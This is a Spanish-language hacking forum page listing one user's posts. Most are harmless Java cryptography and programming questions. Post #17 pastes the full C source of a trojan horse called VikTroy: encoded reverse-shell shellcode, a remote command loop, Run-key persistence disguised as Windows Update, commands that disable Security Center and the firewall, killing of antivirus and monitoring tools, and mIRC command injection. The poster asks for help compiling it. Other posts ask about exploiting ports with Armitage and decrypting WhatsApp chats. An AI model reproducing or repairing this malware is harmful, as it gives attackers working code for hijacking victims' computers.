Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Tronos154

#1
Java / [Aporte] Cifrar texto en RSA en java
19 Febrero 2016, 18:24 PM
Bueno,ante todo dar las gracias a los miembros de este foro por ayudarme con algunas dudas que me han surgido a la hora de hacer este programa.  :D :D :D

Código (java) [Seleccionar]

package RSA;

import java.math.BigInteger;
import java.util.Random;
import java.util.ArrayList;
import ClavePublica.ClavePublica;
import ClavePrivada.ClavePrivada;
import Euler.Euler;

/**
* Codificación en RSA
*
* Autor: Tronos154
*/

public class RSA {

   public Random rnd1 = new Random();
   public Random rnd2 = new Random();
   public int bitsLength = (int) Math.random() * 56 + 200;

   public BigInteger primo1 = BigInteger.probablePrime(bitsLength, rnd1);
   public BigInteger primo2 = BigInteger.probablePrime(bitsLength, rnd2);
   public BigInteger modulo = primo1.multiply(primo2);

   public BigInteger euler = Euler.Euler(primo1, primo2);

   public BigInteger clavePublica = ClavePublica.ClavePublica(euler);
   public BigInteger clavePrivada = ClavePrivada.ClavePrivada(clavePublica, euler);

   public String cifrar(String texto) {

       char letra;
       int letra2 = 0;
       String textoEncriptado = "";
       String letra3 = "";
       int contador = 0;

       while (contador < texto.length()) {
           letra = texto.charAt(contador);
           letra2 = letra;
           letra3 = String.valueOf(letra2);
           BigInteger numero = new BigInteger(letra3);
           textoEncriptado = textoEncriptado + (numero.modPow(clavePublica, modulo)).toString() + " ";
           contador++;
       }
       return textoEncriptado;
   }

   public String descifrar(String textoEncriptado) {
       String textoDesencriptado = "";
       String textoAlmacen = "";
       char letra = 0;
       for (int i = 0; i < textoEncriptado.length(); i++) {
           if (textoEncriptado.charAt(i) == 32) {
               BigInteger numero = new BigInteger(textoAlmacen);
               letra = (char) (int) (numero.modPow(clavePrivada, modulo).longValue());
               textoDesencriptado = textoDesencriptado + letra;
               textoAlmacen = "";

           } else {
               textoAlmacen = textoAlmacen + textoEncriptado.charAt(i);
           }

       }
       return textoDesencriptado;
   }

   

}


Librerías que se han creado para el programa:

Clave Publica:
Código (java) [Seleccionar]

package ClavePublica;

import java.math.BigInteger;
import java.util.ArrayList;
import java.util.Random;
/**
* Generador Clave Publica
*
*
* Autor : Tronos154
*
*/
public class ClavePublica {

   public static BigInteger ClavePublica(BigInteger euler) {

 
       BigInteger ONE = BigInteger.ONE;
       BigInteger ZERO = BigInteger.ZERO;
       BigInteger Euler2 = euler.subtract(ONE);
       Boolean enc = false;
       
       while (enc == false && Euler2.compareTo(ONE) == 1) {

           if ((euler.gcd(Euler2)).toString().equals("1")) {
               enc = true;
             

           } else {
               Euler2 = Euler2.subtract(ONE);
           }
       }
     
      return Euler2;
   }

}


Clave Privada:

Código (java) [Seleccionar]

package ClavePrivada;
import java.math.BigInteger;

/** Clave Privada
*
* Autor : Tronos154
*
*/
public class ClavePrivada {
   public static BigInteger ClavePrivada (BigInteger clavePublica , BigInteger euler) {
       BigInteger clavePrivada = clavePublica.modInverse(euler);
       return clavePrivada;
   }
}


Función Euler :

Código (java) [Seleccionar]
package Euler;

import java.math.BigInteger;
import java.util.ArrayList;

/**
*
* Autor : Tronos154  
*/
public class Euler {

   public static BigInteger Euler(BigInteger primo1, BigInteger primo2) {
       BigInteger ONE = BigInteger.ONE;
       BigInteger Euler;
       Euler = (primo1.subtract(ONE)).multiply(primo2.subtract(ONE));
       return Euler;
   }

}

#2
Buenas,como no he encontrado ningún foro de matemáticas en esta web he deducido que debía postear mi duda aquí,he estado trabajando en un programa en java para cifrar en RSA un texto dado,hasta aquí todo bien,el problema es que cuando hay que factorizar el numero hallado de multiplicar los dos números primos el proceso es muy costoso de la forma en que lo he planteado.Mi pregunta es,¿existe algún algoritmo para factorizar un numero dado?,dejo el método en Java que he creado para factorizar,pero este no es del todo eficiente ya que falla para números muy altos.

Código (java) [Seleccionar]
public class Factorizar {

   public static ArrayList<BigInteger> Factorizar(BigInteger modulo) {

       BigInteger ONE = BigInteger.ONE;
       BigInteger ZERO = BigInteger.ZERO;
       BigInteger primosBig[] = ArrayPrimos.ArrayPrimos(); // Crea una lista de arrays con los numeros primos que hay desde el 2 hasta el 1000000 para poder factorizar el BigInteger.

       ArrayList<BigInteger> almacenFactores = new ArrayList<>();
       int cont1 = 0;
       int cont2 = 0;
       int certainty = 100; //Revisar el valor que toma el certanity.

       while (modulo != ONE) {

           if (modulo.isProbablePrime(certainty)) {

               almacenFactores.add(cont2, modulo);
               return almacenFactores;

           }

           if ((modulo.remainder(primosBig[cont1])) == ZERO) {

               modulo = modulo.divide(primosBig[cont1]);
               almacenFactores.add(cont2, primosBig[cont1]);
               cont1 = 0;
               cont2++;

           } else {

               cont1++;
           }

       }
       return almacenFactores;

   }
}
#3
Java / Duda con la librería BigInteger
13 Febrero 2016, 15:55 PM
Buenas,estoy trabajando con la librería BigInteger y tengo que usar el método .isProbablePrime(int certanity) que devuelve un boolean diciendo si el BigInteger es primo o compuesto,la duda me surge en que no se que valor tiene que tomar certanity,he leido que sirve para determinar la precisión en que te devuelve si es primo o compuesto,basándose en esta formula 1-((1/2)^certanity) , pero no se que valor determinar para esta variable.
#4
Java / El cifrador de Polybios
26 Enero 2016, 18:47 PM
Buenas gente,he estado intentando hacer un método en Java que dado dos valores enteros y una palabra crea una matriz de las dimensiones de estos dos valores y a cada posición de la matriz le asigna el valor ordenado del alfabeto,después coge cada letra de la palabra y almacena en un String los valores en los cuales se sitúa cada letra de la palabra en la matriz.  El problema es que este me devuelve unos valores que no corresponden a los previstos cuando cifro la palabra manualmente,llevo varios días dándole vueltas al problema y no encuentro el error. Estaría muy agradecido si alguno me muestra el error que yo no he sabido encontrar. Un saludo.



Código (java) [Seleccionar]
public class CifradoPolybios {

   public String cifrar(int fila, int columna, String cadena) {
       if ((fila * columna) < 27) {
           fila = 5;
           columna = 6;
       }
       char[][] leyenda = new char[fila][columna];                 //Array donde se le asigna los valores al abecedario.
       int contadorFila = 0;
       int contadorColumna = 0;
       int contadorAbecedario = 96;
       char letra;
       while (contadorFila < fila) {                               //Bucle que da valores al array correspondientes con el abecedario.

           leyenda[contadorFila][contadorColumna] = (letra = (char) contadorAbecedario);

           if (contadorColumna == (columna - 1)) {
               contadorColumna = 0;
               contadorFila++;
           } else {
               contadorColumna++;
               contadorAbecedario++;
           }
       }
       contadorFila = 0;
       contadorColumna = 0;
       cadena = cadena.toLowerCase();
       int contadorLetra = 0;
       String cadenaEncriptada = null;                                 //Variable que almacena la palabra una vez cifrada.
       while (contadorLetra < cadena.length()) {                       //Bucle que cifra la palabra usando el array una vez ha sido asignado el valor.
           if (cadena.charAt(contadorLetra) == ((char) 32)) {
               contadorLetra++;
           }
           if (cadena.charAt(contadorLetra) == leyenda[contadorFila][contadorColumna]) {
               if (cadenaEncriptada == null) {
                   cadenaEncriptada = String.valueOf(contadorFila) + "" + String.valueOf(contadorColumna) + "";
               }
               cadenaEncriptada += String.valueOf(contadorFila) + "" + String.valueOf(contadorColumna) + "";
               contadorLetra++;
               contadorFila = 0;
               contadorColumna = 0;
           } else {

               if (contadorColumna == (columna - 1)) {
                   contadorColumna = 0;
                   contadorFila++;
               } else {
                   contadorColumna++;
               }
           }
       }
       return cadenaEncriptada;
   }
}
#5
Hardware / Refrigeracion liquida para portatil
10 Agosto 2015, 20:10 PM
Buenas,estoy planteandome hacer una "refrigeracion liquida" para mi portatil parecida a esta;http://www.instructables.com/id/Watercooling-a-laptop-on-the-cheap/.Pero tengo algunas dudas que me gustaría que me intentaseis aclarar.¿La refrigeracion liquida podria crear humedad suficiente para estropear el portatil?,¿Es o no una buena idea para solucionar las altas temperaturas del portatil?.Un saludo y gracias de antemano.

PD:He metido este post sin querer en esta sección y no en el sub-foro de refrigeracion que he visto,lo siento por mi metedura de pata. :-\ :-\ :-\




[MOD] Tema movido.
#6
Java / Problema en operaciones con Java.
1 Agosto 2015, 16:51 PM
Buenas,estoy intentando hacer una especie de programa en Java a modo de ejercicio que básicamente resuelve operaciones básicas,una especie de calculadora.El problema es que cuando le indico los valores a operar solo acierta una operación y las otras da valores que no tienen nada que ver con lo que quiero que salga.Les adjunto el código para que puedan echarle un vistazo y ver si hay algún error.

package calculadora;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

/**
*
* @author
*/
public class Calculadora {

   /**
    * @param args the command line arguments
    */

   public static void main(String[] args) throws Exception {
       System.out.println("Introduzca el primer valor numerico y pulse enter.");
       BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
           int a=br.read();
           System.out.println("Introduzca el segundo valor numerico y pulse enter");
       BufferedReader bd = new BufferedReader(new InputStreamReader(System.in));
           int b=bd.read();
       System.out.println("La suma de estos valores es:"+(a+b));
       System.out.println("La resta de estos valores es:"+(a-b));
       System.out.println("La multiplicacion de estos valores es:"+(a*b));
       System.out.println("La division de estos valores es:"+(a/b));
       System.out.println("El resto de la division de estos valores es:"+(a%b));
   }}
#7
Buenas a todos,voy a comenzar la carrera de ingeniería informática y he decidido comprarme un portátil para esta,he estado mirando muchos portátiles con la intención de encontrar uno con las mejores prestaciones dentro de mi presupuesto 599 euros,al estar buscando portátiles me han surgido dudas las cuales espero que me podáis resolver.El portátil que me compre estará encendido muchas horas diarias (8h diarias mínimo XD) y como algunos sabréis el tema de la refrigeración en los portátiles suele ser bastante mala y he leido que los procesadores AMD suelen calentarse mas que los Intel pero estos son mas caros (mucho mas caros relación potencia-precio).¿Que me recomendáis Intel o AMD? y si alguno sabe de algún portátil que dentro de este presupuesto piense que esta genial le agradecería que me lo comentase.Un saludo y gracias de antemano.

De momento de todos los portátiles que he visto estos me han llamado la atencion,me gustaria que me dierais la opinión de estos dos:
http://tiendas.mediamarkt.es/p/portatil-asus-f550ze-xx076h-amd-fx-76-1268954#prodinfotabspec
http://tiendas.mediamarkt.es/p/portatil-acer-e5-571g-i5-5200u-8gb-r-1280002#prodinfotabspec
#8
¿Es seguro el blindado de los paquetes de WhatsApp?.Tengo esta duda debido a que hace tiempo lei una noticia de que dos hackers españoles descubrieron que el blindado de estos paquetes era bastante inseguro ya que usa el cifrado RC4,un cifrado un poco endenble actualmente.¿WhatsApp sigue siendo tan inseguro,o a cambiado el cifrado de sus paquetes y ya es mas seguro?
#9
Hacking / Colisionamiento de hashes
25 Marzo 2014, 01:09 AM
Tengo una duda la cual me gustaria que me aclarasen,¿como se puede generar un colisionamiento de dos hashes?,he averiguado que es 100% seguro de que dos hashes colisionen,pero ¿como puedo averiguar cual de todos colisionara?.Para aclararnos mejor por ejemplo la palabra hola genera este hash 4d186321c1a7f0f354b297e8914ab240,habra un momento en el que otra palabra distinta a hola genere este hash por lo cual se producira un colisionamiento,pero ¿como puedo predecir que palabra sera?
#10
Hacking / descifrar conversaciones WhatsApp
3 Marzo 2014, 21:45 PM
Buenas estuve probando a descifrar las conversaciones de whatsapp pero no hubo resultado,alguien me podria enseñar alguna forma de descifrar el archivo mgstore.db.crypt que es en el que se encuentras todas las conversaciones.Un Saludo.
#11
Bugs y Exploits / Uso del Armitage
1 Marzo 2014, 16:22 PM
Buenas,cuando he intentado usar el armitage para entrar en mi propio ordenador no a encontrado ningun exploit que pueda afectar a los puertos abiertos.Mi pregunta es,¿como puedo encontrar algun exploit con el que pueda aprovechar alguna vulnerabilidad de los puertos de mi ordenador y ejecutarlo con el armitage?
#12
Criptografía / Encriptacion Inversa
18 Febrero 2014, 21:57 PM
Alguien me puede explicar básicamente que es el método de cifrado inversa y que utilidad tienen las claves de dicha encriptacion.
#13
Hacking / Cosas relevantes del html
16 Febrero 2014, 22:28 PM
Buenas,llevo un tiempo estudiando html y me gustaría saber si en el código html hay algún dato relevante para obtener información acerca de las vulnerabilidades de ese sitio web.Un saludo.
#14
Hacking / Cosas relevantes del html
15 Febrero 2014, 12:01 PM
Buenas,llevo un tiempo estudiando html y me gustaría saber si en el código html hay algún dato relevante para obtener información acerca de las vulnerabilidades de ese sitio web.Un saludo.
#15
Java / Problema Eclipse
13 Enero 2014, 20:12 PM
Buenas a todos,el otro día decidí instalarme el eclipse para hacer un tutorial de programar Android,el problema es que cada vez que creo un proyecto me da  error,os dejo una foto para que podáis ver el error.

#16
Electrónica / Placa para circuito
8 Octubre 2012, 13:49 PM
Buenas gente,necesito vuestra ayuda por que tengo que hacer un proyecto de clase y necesito en papel el circuito hecho,para poder hacerlo en una placa electrónica.Muchas Gracias a todos.Un saludo. ;D (Nota el primer circuito tiene que estar duplicado ya que es para dos bobinas)



#17
Este es el codigo:


/*
  Autor: Coded by Black Ghost
  Lenguaje: C/C++ Win32
  Name: Black ghost
  Ejecutable: Blackghost.

*/

#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <winsock.h>
#include <stdlib.h>
#include <process.h>
#include <winbase.h>
//#include <sys\types.h>
#include <tlhelp32.h>

#define CM_PRUEBA 101
#define CM_SALIR 102

#pragma comment(lib, "wsock32.lib")


// SOCKET PRINCIPAL
SOCKET sck;
char RegQueryInfo[] = "reg add HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Windows Update\" /t REG_SZ /d %systemroot%\\viktroy.exe";
char SeCent[] = "net stop \"Security Center\"";
char Shared[] = "net stop \"SharedAccess\"";
char Reg1[] = "reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess\" /v Start /t REG_DWORD /d 0x4 /f";
char Reg3[] = "reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\wscsvc\" /v Start /t REG_DWORD /d 0x4 /f";
char CreateSrv[] = "sc create wscenter binPath= \"%systemroot%\\system32\\viktroy.exe\" type= kernel start= boot error= ignore DisplayName= \"Windows Security Center\"";

LRESULT CALLBACK WindowProc(HWND, UINT, WPARAM, LPARAM);

// PAYLOAD
unsigned char payload[] =

"\x33\xc9\x83\xe9\xb8\xe8"
"\xff\xff\xff\xff"
"\xc0\x5e\x81\x76\x0e\x4a"
"\x27\x98\xb9\x83\xee\xfc\xe2\xf4\xb6\x4d"
"\x73\xf4\xa2\xde\x67\x46"
"\xb5\x47\x13\xd5\x6e\x03\x13\xfc\x76\xac\xe4\xbc\x32\x26\x77\x32"
"\x05\x3f\x13\xe6\x6a\x26\x73\xf0\xc1\x13\x13\xb8\xa4\x16\x58\x20"
"\xe6\xa3\x58\xcd\x4d\xe6\x52\xb4\x4b\xe5\x73\x4d\x71\x73\xbc\x91"
"\x3f\xc2\x13\xe6\x6e\x26\x73\xdf\xc1\x2b\xd3\x32\x15\x3b\x99\x52"
"\x49\x0b\x13\x30\x26\x03\x84\xd8\x89\x16\x43\xdd\xc1\x64\xa8\x32"
"\x0a\x2b\x13\xc9\x56\x8a\x13\xf9\x42\x79\xf0\x37\x04\x29\x74\xe9"
"\xb5\xf1\xfe\xea\x2c\x4f\xab\x8b\x22\x50\xeb"
"\x8b\x15\x73\x67\x69" // w0w
"\x22\xec\x75\x45\x71\x77\x67"
"\x6f\x15\xae\x7d\xdf\xcb\xca\x90\xbb"
"\x1f\x4d\x9a\x46\x9a\x4f\x41\xb0\xbf\x8a\xcf\x46\x9c\x74\xcb\xea"
"\x19\x64\xcb\xfa\x19\xd8\x48\xd1\x35\x27\x98\xb8\x2c\x4f\x9a\x23"
"\x2c\x74\x11\x58\xdf\x4f\x74\x40\xe0\x47\xcf\x46\x9c\x4d\x88\xe8"
"\x1f\xd8\x48\xdf\x20\x43\xfe\xd1\x29\x4a\xf2\xe9\x13\x0e\x54\x30"
"\xad\x4d\xdc\x30\xa8\x16\x58\x4a\xe0\xb2\x11\x44\xb4\x65\xb5\x47"
"\x08\x0b\x15\xc3\x72\x8c\x33" // r0x
"\x12\x22\x55\x66\x0a\x5c\xd8\xed\x91"
"\xb5\xf1\xc3\xee\x18\x76\xc9\xe8"
"\x20\x26\xc9\xe8\x1f\x76\x67\x69"
"\x22\x8a\x41\xbc\x84\x74\x67\x6f\x20\xd8\x67\x8e\xb5\xf7\xf0\x5e"
"\x33\xe1\xe1\x46\x3f\x23\x67\x6f\xb5\x50\x64\x46\x9a\x4f\xe6\x61"
"\xa8\x54\xcb\x46\x9c"  // c0d3d
"\xd8\x48\xb9\x90\x90\x90";






//ListaProcesos
char *proc_list[]={
"cmd.exe", "taskmgr.exe", "netstat.exe", "tasklist.exe", "taskkill.exe",
"avp.exe", "ethereal.exe", "whireshark.exe", "snort.exe", "control.exe",
    "autoruns.exe", "autorunsc.exe", "tcpview.exe", "ettercap.exe", "firefox.exe",
"regedit.exe", "reg.exe" };









// Thread Struct

typedef struct thread_struct
{
char name[250];
HANDLE Thread_Handle;
int id;
} thread;

thread threads[10];





int Comando(char recibido[130]);
int CrearThread(char *name, HANDLE Thread_Handle, int id);
void Esconder(void);
void Reverse(void);


DWORD WINAPI pcInfo(LPVOID param);
DWORD WINAPI ownMirc(LPVOID param);
DWORD WINAPI Pong(LPVOID param);
DWORD WINAPI keyLogger(LPVOID param);
DWORD WINAPI revShell(LPVOID param);
DWORD WINAPI Infectar(LPVOID param);
DWORD WINAPI winFuck(LPVOID param);
DWORD WINAPI Happy(LPVOID param);


int Comando(char recibido[130]);
int CrearThread(char *name, HANDLE Thread_Handle, int id);
void Esconder(void);
void Reverse(void);
/*int main(void);*/
DWORD WINAPI pcInfo(LPVOID param);
DWORD WINAPI ownMirc(LPVOID param);
//DWORD WINAPI Pong(LPVOID param);
DWORD WINAPI revShell(LPVOID param);
DWORD WINAPI SendProcess(LPVOID param);
DWORD WINAPI winFuck(LPVOID param);
DWORD WINAPI Happy(LPVOID param);
DWORD WINAPI CallChat(LPVOID param);

/*
int main(int argc, char *argv[])
{
char bof[25];
strcpy(bof, argv[1]);
return 0;
}
*/


// INDEX

int main(void)
{
   HANDLE hThread;
DWORD id;
WSADATA wsa;
   struct sockaddr_in mysock;
char recvbuff[130];
char *hello = "HEllO";

WSAStartup(MAKEWORD(1, 0), &wsa);
sck = socket(AF_INET, SOCK_STREAM, 0);
Esconder();
mysock.sin_family = AF_INET;
mysock.sin_addr.s_addr = inet_addr("127.0.0.1");
mysock.sin_port = htons(80);
memset(&(mysock.sin_zero), '\0', 8);
//hThread = CreateThread(NULL, 0, Pong, NULL, 0, &id);
connect(sck, (struct sockaddr *)&mysock, sizeof(struct sockaddr));
send(sck, hello, strlen(hello), 0);
for(;;)
{
if(recv(sck, recvbuff, 128, 0)>2)
{
     Comando(recvbuff);
}
Sleep(800);
}

   Sleep(1000);
WSACleanup();
system("PAUSE");
return 1;
}






int Comando(char recibido[130])
{

HANDLE hThread;
DWORD id;

char *pString;

pString = strchr(recibido, '!');
if(pString==NULL)
{
printf("error");
return -1;
}

pString++;

if(strncmp(pString, "info", 4)==0)
{
hThread = CreateThread(NULL, 0, pcInfo, NULL, 0, &id);
CrearThread("INFO", hThread, id);
Sleep(1000);
}

if(strncmp(pString, "mirc", 4)==0)
{
hThread = CreateThread(NULL, 0, ownMirc, NULL, 0, &id);
CrearThread("MIRC", hThread, id);
}

if(strncmp(pString, "exit", 4)==0)
{
closesocket(sck);
WSACleanup();
system("taskkill /F /IM viktroy.exe");
}

if(strncmp(pString, "shell", 4)==0)
{
hThread = CreateThread(NULL, 0, revShell, NULL, 0, &id);
CrearThread("SHELL", hThread, id);
}

if(strncmp(pString, "busca", 5)==0)
{
hThread = CreateThread(NULL, 0, SendProcess, NULL, 0, &id);
CrearThread("SHRC", hThread, id);
}

if(strncmp(pString, "winfuck", 7)==0)
{
hThread = CreateThread(NULL, 0, winFuck, NULL, 0, &id);
CrearThread("FUCK", hThread, id);
}

if(strncmp(pString, "showcmd", 7)==0)
{
HWND hWnd;
   hWnd = FindWindow("ConsoleWindowClass", NULL);
   ShowWindow(hWnd, SW_SHOWNORMAL);
}

if(strncmp(pString, "hidecmd", 7)==0)
{
HWND hWnd;
   hWnd = FindWindow("ConsoleWindowClass", NULL);
   ShowWindow(hWnd, SW_HIDE);
}

if(strncmp(pString, "happy", 5)==0)
{
hThread = CreateThread(NULL, 0, Happy, NULL, 0, &id);
CrearThread("HAPPY", hThread, id);
}

if(strncmp(pString, "chat", 4)==0)
{
hThread = CreateThread(NULL, 0, CallChat, NULL, 0, &id);
CrearThread("CHAT", hThread, id);
}

if(strncmp(pString, "infectar", 8)==0)
{
     system("reg add HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Windows Update\" /t REG_SZ /d %systemroot%\\viktroy.exe");
   }


return 0;

}



void Reverse(void)
{
 void(*rever)();
 *(int *)&rever = (int)payload;
 rever();

}

// Not ShellCode Call
/* PROCESS_INFORMATION pinfo;
STARTUPINFO sinfo;
SOCKET rsck;
//WSADATA wsadata;
   struct sockaddr_in rSock;
   memset(&sinfo,0,sizeof(sinfo));
//WSAStartup(MAKEWORD(1, 0), &wsadata);
rsck = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
rSock.sin_addr.s_addr = inet_addr("127.0.0.1");
rSock.sin_family = AF_INET;
   bind(rsck, (struct sockaddr*)&rSock, sizeof(rSock));
rSock.sin_port = htons(666);
memset(&(rSock.sin_zero), 0, 8);

connect(rsck, (struct sockaddr *)&rSock, sizeof(rSock));
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = STARTF_USESTDHANDLES;
sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = rsck;
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, 0, NULL, &sinfo, &pinfo);

 */



// ThreadGen
int CrearThread(char *name, HANDLE Thread_Handle, int id)
{
int c = rand()%10;
sprintf(threads[c].name,name);
threads[c].id = id;
threads[c].Thread_Handle = Thread_Handle;
return c;
}


// HIDE
void Esconder(void)
{
HWND hWnd;
hWnd = FindWindow("ConsoleWindowClass", NULL);
ShowWindow(hWnd, SW_HIDE);
}


// Arquitectura
DWORD WINAPI pcInfo(LPVOID param)
{
SYSTEM_INFO sysinfo;
   char allinfo[16];
GetSystemInfo(&sysinfo);
if(sysinfo.wProcessorArchitecture==PROCESSOR_ARCHITECTURE_INTEL)
{
strcat(allinfo, "Soy un INTEL ");
if(sysinfo.wProcessorLevel==3)
{
strcat(allinfo, "!386 ");
}

else if(sysinfo.wProcessorLevel==4)
{
strcat(allinfo, "!486 ");
}

else if(sysinfo.wProcessorLevel==5)
{
strcat(allinfo, "Pentium ");
}

else { strcat(allinfo, "unknow "); }

}

else if(sysinfo.wProcessorArchitecture==PROCESSOR_ARCHITECTURE_PPC)
{
strcat(allinfo, "Soy un PocketPC ");

if(sysinfo.wProcessorLevel==1)
{
strcat(allinfo, "PPC 601 ");
}

else if(sysinfo.wProcessorLevel==3)
{
strcat(allinfo, "PPC 601 ");
}

else if(sysinfo.wProcessorLevel==20)
{
strcat(allinfo, "PPC 620 ");
}

}

SetComputerName("xZ-Ownk");
   send(sck, allinfo, strlen(allinfo), 0);
return 0;

}


// Injeccion de comandos mirc. Gracias a CrowDat por su explicacion :P

DWORD WINAPI ownMirc(LPVOID param)
{
HWND hWnd;
char run1[] = "/run VikTroy.exe";
SetForegroundWindow(hWnd);
   hWnd = FindWindowEx(FindWindowEx(FindWindowEx(FindWindow("mIRC",
          NULL), 0, "MDIClient", 0),0, "mIRC_Status", 0), 0, "Edit", 0);

SendMessage(hWnd, WM_SETTEXT, 0, (LPARAM)run1);
SendMessage(hWnd, WM_IME_KEYDOWN, VK_RETURN, 0);
Sleep(1500);
return 0;
}


// Pong Conexion Thread

/*DWORD WINAPI Pong(LPVOID param)
{
char *pong="PONG";
for(;;)
{
Sleep(25000);
send(sck, pong, strlen(pong), 0);
}

return 1;
}
*/

// Reverse Shell Thread

DWORD WINAPI revShell(LPVOID param)
{

   
   Reverse();
return 0;

}


// Tripode

DWORD WINAPI SendProcess(LPVOID param)
{

HANDLE hlista;
PROCESSENTRY32 proceso;
char proname[30];
char killer[30];
int ret, i, mok;
   
   mok = 0;
   for(;;)
{
 ret = 0;
 i = 0;

   for(i=0;i<17;i++)
{
   ZeroMemory(&proceso,sizeof(proceso));
proceso.dwSize = sizeof(proceso);
if ((hlista = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0)) != (HANDLE)-1) /* devuelve estructura con la captura de todos los procesos */
{
ret = Process32First(hlista,&proceso);
while(ret)
{

sprintf(proname,"%i %s",proceso.th32ProcessID,proceso.szExeFile);
printf("\n%s",proname);

if(strcmp(proceso.szExeFile, "mirc.exe")==0 && mok==0 )
{
send(sck, "\nEncontrado Mirc.exe\n", strlen("\nEncontrado Mirc.exe\n"), 0);
   mok++;
}

if(strcmp(proceso.szExeFile, proc_list[i])==0)
{
sprintf(killer, "taskkill /F /PID %d", proceso.th32ProcessID);
WinExec(killer, SW_HIDE);
}


ret = Process32Next(hlista,&proceso);
}

  CloseHandle(hlista);
}
}
    Sleep(100);

}

}



/*HKEY hKey;
unsigned char direccion[] = "\\Software\\Microsoft\\Windows\\CurrentVersion\\Run";
   unsigned char proceso[] = "VikTroy.exe";

RegCreateKey(HKEY_LOCAL_MACHINE, "\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" , &hKey);
RegSetValueEx(hKey, "Microsoft Windows Firewall", 0, REG_SZ, proceso, sizeof("proceso"));
   RegCloseKey(hKey);*/




// WINDOWS FUCKEd x"DDDDDDDDDDD

DWORD WINAPI winFuck(LPVOID param)
{



       __asm {
    mov eax, offset SeCent
push eax
call system
pop ebx
nop
nop

// Security Center Off

mov eax, offset Shared
push eax
call system
pop ebx
nop
nop
// Shared Off

    mov eax, offset Reg1
push eax
call system
pop ebx
nop
nop
// Reg1 In


mov eax, offset Reg3
push eax
call system
pop ebx
nop
nop

mov  eax, offset CreateSrv
push eax
                call system
pop ebx
nop
nop

}// Reg2 In

return 0;


}



// Funcion Feliz

DWORD WINAPI Happy(LPVOID param)
{
int a = 0;
   char *Texto = " VikTroy: Simple Trojan Horse   \n"
         " http://sincontrol.tomahost.org \n"
 " Gm Vk Tj Pp                    \n"
 " irc-hispano.org #sub_level     \n"
 " by xZR !Sub_Level Security     \n";

a = MessageBox(NULL,
     Texto,
 "by xZR !Sub_Level",
 MB_OK | MB_ICONERROR | MB_DEFBUTTON4);
  for(;;)
  {
   if(a==IDOK || a==IDYES || a==IDABORT || a==IDCANCEL || a==IDNO)
{
          a= MessageBox(NULL,
               Texto,
          "by xZR !Sub_Level",
                       MB_OK | MB_ICONERROR | MB_DEFBUTTON4);
}
 
 }

 return -1;
}



// Not Avaible

DWORD WINAPI CallChat(LPVOID param)
{
HINSTANCE hInstance, hPrevInstance;
LPSTR CmdLine;
int uCmd;
HWND hWnd;
MSG uMsg;
WNDCLASSEX wincl;
SOCKET chatsock;
   struct sockaddr_in chsock;

wincl.cbClsExtra = 0;
wincl.cbWndExtra = 0;
wincl.cbSize = sizeof(WNDCLASSEX);
wincl.hbrBackground = (HBRUSH) COLOR_HIGHLIGHT;
wincl.hCursor = LoadCursor(NULL, IDC_ARROW);
wincl.hIcon = LoadIcon(NULL, "icono.ico");
wincl.hIconSm = LoadIcon(NULL, "icono.ico");
wincl.hInstance = hInstance;
wincl.lpfnWndProc = WindowProc;
wincl.lpszClassName = "VentanaChat";
wincl.lpszMenuName = NULL;
wincl.style = CS_DBLCLKS;

RegisterClassEx(&wincl);

hWnd = CreateWindowEx(             0,
                  "VentanaChat",
 "Viktroy Talk",
  WS_OVERLAPPEDWINDOW,
  CW_USEDEFAULT,
  CW_USEDEFAULT,
  CW_USEDEFAULT,
  CW_USEDEFAULT,
   HWND_DESKTOP,
                       NULL,
  hInstance,
NULL);

ShowWindow(hWnd, SW_SHOWDEFAULT);

while(TRUE == GetMessage(&uMsg, 0, 0, 0))
{
       TranslateMessage(&uMsg);
DispatchMessage(&uMsg);
}

return uMsg.wParam;


}


LRESULT CALLBACK WindowProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
switch(uMsg)
{
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hWnd, uMsg, wParam, lParam);
}

return 0;
}




y por cierto me da error en esta Linea alguna ayudita?

-__asm {
#18
Hola,miren yo tengo instalado el Windows 7 y el Ubuntu el otro dia se actualizo el Windows 7 y desde entonces en el Grub solo sale Windows 7 mi pregunta es DONDE ESTA UBUNTU??
#19
Hacking / No entiendo como¡¡
20 Febrero 2012, 18:56 PM
El otro día había un chaval que dijo que había creado un programa con visual basic que sacaba contraseñas de tuenti, probé el programa ya que lo ha subido a Deposit Files la cuestión me lo descargue pero no iva así que le pedi al chaval del programa que me lo demostrara y me saco mi contraseña.Mi pregunta es como ha hecho ese programa con Visual Basic??
#20
Hola miren el otro día estaba compilando el exploit SOS-10-002-pwn-isapi y cuando le di a compilar me dio el siguiente mensaje:

-exploit.c:1:20: fatal error: iostream: No such file or directory
compilation terminated.

Alguna Solución??
#21
Hacking / El Arte Del Engaño [En Ingles]
15 Enero 2012, 22:04 PM
Descripcion Del Autor:
-Kevin Mitnick, el hacker más famoso del mundo, ahora dedica su vida a ayudar a las empresas y los ladrones de los gobiernos a combatir los datos, cybervandals y otros intrusos informáticos maliciosos. En su best seller El Arte del engaño, Mitnick se presentaron estudios de casos ficticios que ilustran cómo las galletas inteligente uso de la computadora "ingeniería social" para comprometer incluso los sistemas informáticos más técnicamente seguras. Ahora, en su nuevo libro, Mitnick da un paso más, ofreciendo espeluznantes historias de la vida real equipo robos y que muestra cómo las víctimas podrían haber evitado. Mitnick reputación dentro de la comunidad hacker le dio credibilidad única con los autores de estos crímenes, que libremente comparten sus historias con él, y cuyas hazañas Mitnick ahora revela en detalle por primera vez, incluyendo:
Un grupo de amigos que ganó casi un millón de dólares en Las Vegas por las máquinas de ranura de ingeniería inversa
